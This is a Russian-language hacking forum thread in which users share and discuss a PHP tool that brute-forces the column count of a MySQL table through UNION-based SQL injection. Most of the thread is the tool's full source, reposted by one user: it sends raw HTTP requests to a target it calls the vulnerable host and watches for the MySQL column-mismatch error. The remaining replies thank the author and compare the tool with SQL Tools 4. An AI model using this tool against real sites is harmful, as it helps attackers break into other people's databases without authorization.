Брутер числа колонок MySQL

Discussion in 'PHP' started by _Great_, 7 Nov 2006.

  1. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    Subj =)

    http://cribble.by.ru/w/sqlbruteru.php.txt

    Вроде вполне удобный. Что скажете?
    Как вариант, можно сделать для линка одно текстовое поле, чтобы скрипт сам разбивал его на составляющие
     
  2. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    гуд)
    все пашет, автору спасибо)

    з.ы. учтите на будущее: ошибки выделены тегами +))
     
  3. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    можеш перезалить?)))
     
    1 person likes this.
  4. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    PHP:
    <?
    function 
    send_post_request($host$file$content$cookies$cookies_type=1)
    {
        
    $post =
        
    "POST $file HTTP/1.0\r\n".
        
    "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n".
        
    "Referer: http://$host/\r\n".
        
    "Accept-Language: ru\r\n".
        
    "Content-Type: application/x-www-form-urlencoded\r\n".
        
    "Proxy-Connection: Keep-Alive\r\n".
        
    "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n".
        
    "Host: $host\r\n".
        
    "Content-Length: ".strlen($content)."\r\n".
        
    "Cookie: ";
        
        foreach(
    $cookies as $v)
        {
          if(
    $cookies_type == 1)
            
    $post .= "$k=>$v;";
          else
            
    $post .= "$v;";
        }
        
        
    $post .=
        
    "\r\nPragma: no-cache\r\n\r\n".
        
    $content;
        
    //    echo "<pre>$post</pre><p>";

        
    $s=fsockopen($host,80);
        
    fputs($s$post);
        
    $answer "";
        while(!
    feof($s)) $answer .= fgets($s);
        
    fclose($s);
        
        return 
    $answer;
    }

    function 
    send_get_request($host$file$cookies$cookies_type=1)
    {
        
    $post =
        
    "GET $file HTTP/1.0\r\n".
        
    "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n".
        
    "Referer: http://$host/\r\n".
        
    "Accept-Language: ru\r\n".
        
    "Proxy-Connection: Keep-Alive\r\n".
        
    "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n".
        
    "Host: $host\r\n".
        
    "Cookie: ";
        
        foreach(
    $cookies as $v)
        {
          if(
    $cookies_type == 1)
            
    $post .= "$k=>$v;";
          else
            
    $post .= "$v;";
        }
        
        
    $post .=
        
    "\r\nPragma: no-cache\r\n\r\n";
        
    //    echo "<pre>$post</pre><p>";
        
        
    $s=fsockopen($host,80);
        
    fputs($s$post);
        
    $answer "";
        while(!
    feof($s)) $answer .= fgets($s);
        
    fclose($s);
        
        return 
    $answer;
    }

    function 
    construct_post_request($host$file$content_array$cookies$cookies_type=1)
    {
      
    $content "";
      foreach(
    $content_array as $k=>$v)
        
    $content .= "$k=".urlencode($v)."&";
      return 
    send_post_request($host$file$content$cookies$cookies_type);
    }

    $def "The used SELECT statements have a different number of columns";
    $_POST['left'] = stripslashes($_POST['left']);

    echo (
    "<html>
    <head>
    <title>Брутфорсер числа колонок MySQL таблиц</title>
    "
    .
    /*"<style type='text/css'>
        td {border: 1px solid;}
    </style>".*/
    "</head>
    <body bgcolor='lightgray' alink='blue' link='blue' vlink='blue'>
    <h3 align='center'>Брутфорсер числа колонок MySQL таблиц</h3>
    <form method='post'>

    <table "
    ./*"style='border: 1px solid' ".*/ "border=1 cellpadding=5>
    <tr><td>
    Запрос:
    <td>
    <b>http://
    <input type='text' name='host' size=20 value=\""
    .htmlspecialchars($_POST['host'])."\">
    <input type='text' name='left' size=80 value=\""
    .htmlspecialchars($_POST['left'])."\">
    0,0,0,...,0
    <input type='text' name='right' size=20 value=\""
    .htmlspecialchars($_POST['right'])."\">
    </b>

    <tr><td>Строка:
    <td><input type='text' name='match' size=100 value=\"
    {$_POST['match']}\">
    <a href='javascript:void(0);' onClick='document.forms[0].match.value=\"
    $def\";'>
    <br>Установить стандартную</a>&nbsp;&nbsp;[<b>"
    .htmlspecialchars($def)."</b>]

    <tr><td>
    Опции:
    <td>
    <input type='checkbox' name='fillints'"
    .( ($_POST['fillints'] == "on")?" checked":"" )."><a href='javascript:void(0);' onClick='document.forms[0].fillints.checked=!document.forms[0].fillints.checked;' style='text-decoration: none; color: black'>Заполнить целыми числами, а не нулями</a> (по умолчанию заполняется нулями)<br>
    <input type='checkbox' name='stoponfind'"
    .( ($_POST['stoponfind'] == "on")?" checked":"" )."><a href='javascript:void(0);' onClick='document.forms[0].stoponfind.checked=!document.forms[0].stoponfind.checked;' style='text-decoration: none; color: black'>Остановиться, когда найдена искомая строка (вместо того, чтобы остановиться, когда она не найдена)</a><br>

    <tr><td>
    <input type='submit' name='go' value='Брутфорс'>
    <td align='center'>&nbsp;Coded by <b>Great</b> (ICQ# <b>893-894</b>) &copy; 2006
    </table>
    </form>
    <p>"
    );

    if(!isset(
    $_POST['go']))
      die(
    "</body></html>");

    if(empty(
    $left) || empty($host) || empty($match))
      die(
    "<font color='red'><b>Нужно заполнить все поля!</b></font></body></html>");

    $left $_POST['left'];
    $right $_POST['right'];
    $host $_POST['host'];
    $match $_POST['match'];
    $ints $_POST['fillints']=="on";
    $invert $_POST['stoponfind']=="on";

    echo 
    "<h4>Начинаем...</h4>
          Левая часть:     <b>"
    .htmlspecialchars($left)."</b><br>
          Правая часть:    <b>"
    .htmlspecialchars($right)."</b><br>
          Уязвимый хост:   <b>"
    .htmlspecialchars($host)."</b><br>
          Полный запрос:   <b>http://"
    .htmlspecialchars("{$host}{$left} <0,0,...,0> {$right}")."</b><br>
          Искомая строка:  <b>"
    .htmlspecialchars($match)."</b><br>
          <b>"
    .( ($ints==true)?
            
    "<font color='brown'>Заполняем целыми (1,2,3,...)</font>"
           
    :"<font color='gray'>Заполняем нулями (0,0,0,...)</font>" )
          .
    "</b><br>
          <br>\n"
    ;
    set_time_limit(0);

    if(@
    gethostbyname($host)==$host)
      die(
    "<font color='red'><b>Хост \"".htmlspecialchars($host)."\" не найден</b></font></body></html>");

    for(
    $i=1;$i<100;$i++)
    {
    //  echo "Trying $i...<br>\n";
      
    echo "$i... ";
      
    flush();

      if(!
    $ints)
        
    $nulls "0";
      else
        
    $nulls 1;

      for(
    $k=1;$k<$i;$k++)
      {
        if(!
    $ints)
          
    $nulls .= ",0";
        else
          
    $nulls .= ",".($k+1);
      }
      
    $r send_get_request($host$left.$nulls.$right, array(), 1);

      if(!
    $invert)
        
    $okay strstr($r$match)===false;
      else
        
    $okay strstr($r$match)!==false;

      if(
    $okay)
      {
        
    $ok htmlspecialchars("http://$host".$left.$nulls.$right);
        
    $d htmlspecialchars("http://$host".$left)."<b>".$nulls."</b>".htmlspecialchars($right);
        echo 
    "<p><font color='green'><b>Успешно:</b> (".( ($invert)?"Строка найдена":"Строка не найдена" ).")</font><br><a href=\"$ok\" style='text-decoration: none' target='_blank'>$d</a>";
        echo 
    "<br>".($i)." колонок";
        break;
      }
    //  echo $r;
    //  break;
    }
    ?>
    </body></html>
     
    1 person likes this.
  5. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    astrologer,
    пасиб=)
     
  6. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    гммм....а зачем он? Есть же SQL Tools 4 он в разы быстрее робит.
     
  7. luz3r

    luz3r Banned

    Joined:
    23 Feb 2008
    Messages:
    119
    Likes Received:
    250
    Reputations:
    -11
    ты дату видел? тогда ещё SQL Tools 4 небыло =\